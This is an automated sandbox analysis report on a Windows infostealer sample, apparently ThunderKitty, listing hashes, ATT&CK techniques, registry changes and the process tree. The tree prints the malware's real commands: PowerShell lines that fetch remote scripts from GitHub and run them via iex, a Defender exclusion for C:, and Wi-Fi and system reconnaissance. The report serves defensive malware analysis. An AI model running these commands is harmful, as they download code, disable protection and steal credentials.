23d7f90771249c1125d386bc0aaef917ee2f1cc35cf51dc33068d21c617856cc

Analysis

max time kernel
143s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
26/08/2024, 00:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe
Size

14.0MB
MD5

2d7579cc28665be3a9ecbbd9b3a735aa
SHA1

1299955dc62428a0918ba8420a2e1b70d55da72f
SHA256

23d7f90771249c1125d386bc0aaef917ee2f1cc35cf51dc33068d21c617856cc
SHA512

8e2cd2744b22df82985434d9668add92cab9c40412c91d2b5860f6ad422ed1f2fa79b742eaf901a8a4edae6561fdd91e628a329bf621f2a531d498d5daa1efb7
SSDEEP

196608:xsWQx346iodNv5Q8dbWfiwmjmX3o9gvK9aXFFT:x2xcobv5Q8CmjmHzvfz

Score

9^/10

credential_access discovery evasion execution persistence privilege_escalation ransomware spyware stealer

Malware Config

Signatures

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	336	powershell.exe
16	3956	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
336	powershell.exe
3956	powershell.exe
1516	PowerShell.exe
2928	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4384	netsh.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
14	raw.githubusercontent.com
15	raw.githubusercontent.com
16	raw.githubusercontent.com

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
4908	ARP.EXE

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Thunder_Kitty.jpg"	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4640	netsh.exe
3304	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
3452	NETSTAT.EXE

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4516	ipconfig.exe
3452	NETSTAT.EXE
5052	ipconfig.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1724	taskkill.exe

Modifies Control Panel 2 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\Desktop\TileWallpaper = "0"	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\Desktop\WallpaperStyle = "2"	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2928	powershell.exe
3956	powershell.exe
2928	powershell.exe
1516	PowerShell.exe
336	powershell.exe
1516	PowerShell.exe
3956	powershell.exe
336	powershell.exe
336	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	1516	PowerShell.exe
Token: SeDebugPrivilege	336	powershell.exe
Token: SeDebugPrivilege	1724	taskkill.exe
Token: 33	3100	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3100	AUDIODG.EXE
Token: SeIncreaseQuotaPrivilege	336	powershell.exe
Token: SeSecurityPrivilege	336	powershell.exe
Token: SeTakeOwnershipPrivilege	336	powershell.exe
Token: SeLoadDriverPrivilege	336	powershell.exe
Token: SeSystemProfilePrivilege	336	powershell.exe
Token: SeSystemtimePrivilege	336	powershell.exe
Token: SeProfSingleProcessPrivilege	336	powershell.exe
Token: SeIncBasePriorityPrivilege	336	powershell.exe
Token: SeCreatePagefilePrivilege	336	powershell.exe
Token: SeBackupPrivilege	336	powershell.exe
Token: SeRestorePrivilege	336	powershell.exe
Token: SeShutdownPrivilege	336	powershell.exe
Token: SeDebugPrivilege	336	powershell.exe
Token: SeSystemEnvironmentPrivilege	336	powershell.exe
Token: SeRemoteShutdownPrivilege	336	powershell.exe
Token: SeUndockPrivilege	336	powershell.exe
Token: SeManageVolumePrivilege	336	powershell.exe
Token: 33	336	powershell.exe
Token: 34	336	powershell.exe
Token: 35	336	powershell.exe
Token: 36	336	powershell.exe
Token: SeIncreaseQuotaPrivilege	336	powershell.exe
Token: SeSecurityPrivilege	336	powershell.exe
Token: SeTakeOwnershipPrivilege	336	powershell.exe
Token: SeLoadDriverPrivilege	336	powershell.exe
Token: SeSystemProfilePrivilege	336	powershell.exe
Token: SeSystemtimePrivilege	336	powershell.exe
Token: SeProfSingleProcessPrivilege	336	powershell.exe
Token: SeIncBasePriorityPrivilege	336	powershell.exe
Token: SeCreatePagefilePrivilege	336	powershell.exe
Token: SeBackupPrivilege	336	powershell.exe
Token: SeRestorePrivilege	336	powershell.exe
Token: SeShutdownPrivilege	336	powershell.exe
Token: SeDebugPrivilege	336	powershell.exe
Token: SeSystemEnvironmentPrivilege	336	powershell.exe
Token: SeRemoteShutdownPrivilege	336	powershell.exe
Token: SeUndockPrivilege	336	powershell.exe
Token: SeManageVolumePrivilege	336	powershell.exe
Token: 33	336	powershell.exe
Token: 34	336	powershell.exe
Token: 35	336	powershell.exe
Token: 36	336	powershell.exe
Token: SeIncreaseQuotaPrivilege	336	powershell.exe
Token: SeSecurityPrivilege	336	powershell.exe
Token: SeTakeOwnershipPrivilege	336	powershell.exe
Token: SeLoadDriverPrivilege	336	powershell.exe
Token: SeSystemProfilePrivilege	336	powershell.exe
Token: SeSystemtimePrivilege	336	powershell.exe
Token: SeProfSingleProcessPrivilege	336	powershell.exe
Token: SeIncBasePriorityPrivilege	336	powershell.exe
Token: SeCreatePagefilePrivilege	336	powershell.exe
Token: SeBackupPrivilege	336	powershell.exe
Token: SeRestorePrivilege	336	powershell.exe
Token: SeShutdownPrivilege	336	powershell.exe
Token: SeDebugPrivilege	336	powershell.exe
Token: SeSystemEnvironmentPrivilege	336	powershell.exe
Token: SeRemoteShutdownPrivilege	336	powershell.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4400 wrote to memory of 336	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	85
PID 4400 wrote to memory of 336	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	85
PID 4400 wrote to memory of 2928	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	86
PID 4400 wrote to memory of 2928	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	86
PID 4400 wrote to memory of 3956	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	88
PID 4400 wrote to memory of 3956	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	88
PID 4400 wrote to memory of 4536	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	89
PID 4400 wrote to memory of 4536	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	89
PID 4400 wrote to memory of 1516	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	90
PID 4400 wrote to memory of 1516	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	90
PID 4400 wrote to memory of 3492	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	91
PID 4400 wrote to memory of 3492	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	91
PID 3492 wrote to memory of 4272	3492	cmd.exe	92
PID 3492 wrote to memory of 4272	3492	cmd.exe	92
PID 4400 wrote to memory of 2836	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	93
PID 4400 wrote to memory of 2836	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	93
PID 3956 wrote to memory of 3148	3956	powershell.exe	94
PID 3956 wrote to memory of 3148	3956	powershell.exe	94
PID 336 wrote to memory of 5084	336	powershell.exe	95
PID 336 wrote to memory of 5084	336	powershell.exe	95
PID 3148 wrote to memory of 3304	3148	csc.exe	120
PID 3148 wrote to memory of 3304	3148	csc.exe	120
PID 5084 wrote to memory of 2756	5084	csc.exe	97
PID 5084 wrote to memory of 2756	5084	csc.exe	97
PID 4400 wrote to memory of 1724	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	98
PID 4400 wrote to memory of 1724	4400	2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe	98
PID 336 wrote to memory of 4640	336	powershell.exe	103
PID 336 wrote to memory of 4640	336	powershell.exe	103
PID 336 wrote to memory of 3844	336	powershell.exe	104
PID 336 wrote to memory of 3844	336	powershell.exe	104
PID 3844 wrote to memory of 3880	3844	net.exe	105
PID 3844 wrote to memory of 3880	3844	net.exe	105
PID 336 wrote to memory of 4384	336	powershell.exe	106
PID 336 wrote to memory of 4384	336	powershell.exe	106
PID 336 wrote to memory of 4304	336	powershell.exe	108
PID 336 wrote to memory of 4304	336	powershell.exe	108
PID 336 wrote to memory of 2084	336	powershell.exe	109
PID 336 wrote to memory of 2084	336	powershell.exe	109
PID 2084 wrote to memory of 2064	2084	net.exe	110
PID 2084 wrote to memory of 2064	2084	net.exe	110
PID 336 wrote to memory of 5052	336	powershell.exe	111
PID 336 wrote to memory of 5052	336	powershell.exe	111
PID 336 wrote to memory of 512	336	powershell.exe	112
PID 336 wrote to memory of 512	336	powershell.exe	112
PID 512 wrote to memory of 1900	512	net.exe	113
PID 512 wrote to memory of 1900	512	net.exe	113
PID 336 wrote to memory of 2964	336	powershell.exe	114
PID 336 wrote to memory of 2964	336	powershell.exe	114
PID 336 wrote to memory of 3452	336	powershell.exe	115
PID 336 wrote to memory of 3452	336	powershell.exe	115
PID 336 wrote to memory of 2860	336	powershell.exe	116
PID 336 wrote to memory of 2860	336	powershell.exe	116
PID 336 wrote to memory of 4516	336	powershell.exe	117
PID 336 wrote to memory of 4516	336	powershell.exe	117
PID 336 wrote to memory of 1172	336	powershell.exe	118
PID 336 wrote to memory of 1172	336	powershell.exe	118
PID 336 wrote to memory of 4908	336	powershell.exe	119
PID 336 wrote to memory of 4908	336	powershell.exe	119
PID 336 wrote to memory of 3304	336	powershell.exe	120
PID 336 wrote to memory of 3304	336	powershell.exe	120

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2836	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-26_2d7579cc28665be3a9ecbbd9b3a735aa_poet-rat_snatch.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/SysInfo.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:336
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\azkjjou5\azkjjou5.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFE27.tmp" "c:\Users\Admin\AppData\Local\Temp\azkjjou5\CSC431B38FC276D4A8E9B73E06EB9BA4F87.TMP"
      4⤵
      PID:2756
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4640
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup administrators
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators
      4⤵
      PID:3880
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" advfirewall show allprofiles
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4384
- - C:\Windows\system32\whoami.exe
    "C:\Windows\system32\whoami.exe" /all
    3⤵
    PID:4304
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2064
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /displaydns
    3⤵
    - Gathers network information
    PID:5052
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:512
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup
      4⤵
      PID:1900
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" startup get command caption
    3⤵
    PID:2964
- - C:\Windows\system32\NETSTAT.EXE
    "C:\Windows\system32\NETSTAT.EXE" -ano
    3⤵
    - System Network Connections Discovery
    - Gathers network information
    PID:3452
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe
    3⤵
    PID:2860
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /all
    3⤵
    - Gathers network information
    PID:4516
- - C:\Windows\system32\ROUTE.EXE
    "C:\Windows\system32\ROUTE.EXE" print
    3⤵
    PID:1172
- - C:\Windows\system32\ARP.EXE
    "C:\Windows\system32\ARP.EXE" -a
    3⤵
    - Network Service Discovery
    PID:4908
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profile
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -C "Add-MpPreference -ExclusionPath 'C:'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/defenderstuff.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yzsv1vdl\yzsv1vdl.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3148
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFE26.tmp" "c:\Users\Admin\AppData\Local\Temp\yzsv1vdl\CSCAA33D0FBB5324735ACA96526B3A6F438.TMP"
      4⤵
      PID:3304
- C:\Windows\system32\cmd.exe
  cmd.exe /c start facebook.com
  2⤵
  PID:4536
- C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe
  PowerShell -Command "(New-Object -ComObject SAPI.SpVoice).Speak(\"hey hey\")"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1516
- C:\Windows\system32\cmd.exe
  cmd /c rundll32.exe user32.dll,SwapMouseButton
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\system32\rundll32.exe
    rundll32.exe user32.dll,SwapMouseButton
    3⤵
    PID:4272
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
  2⤵
  - Views/modifies file attributes
  PID:2836
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM wallpaper32.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1724

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x300 0x498
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

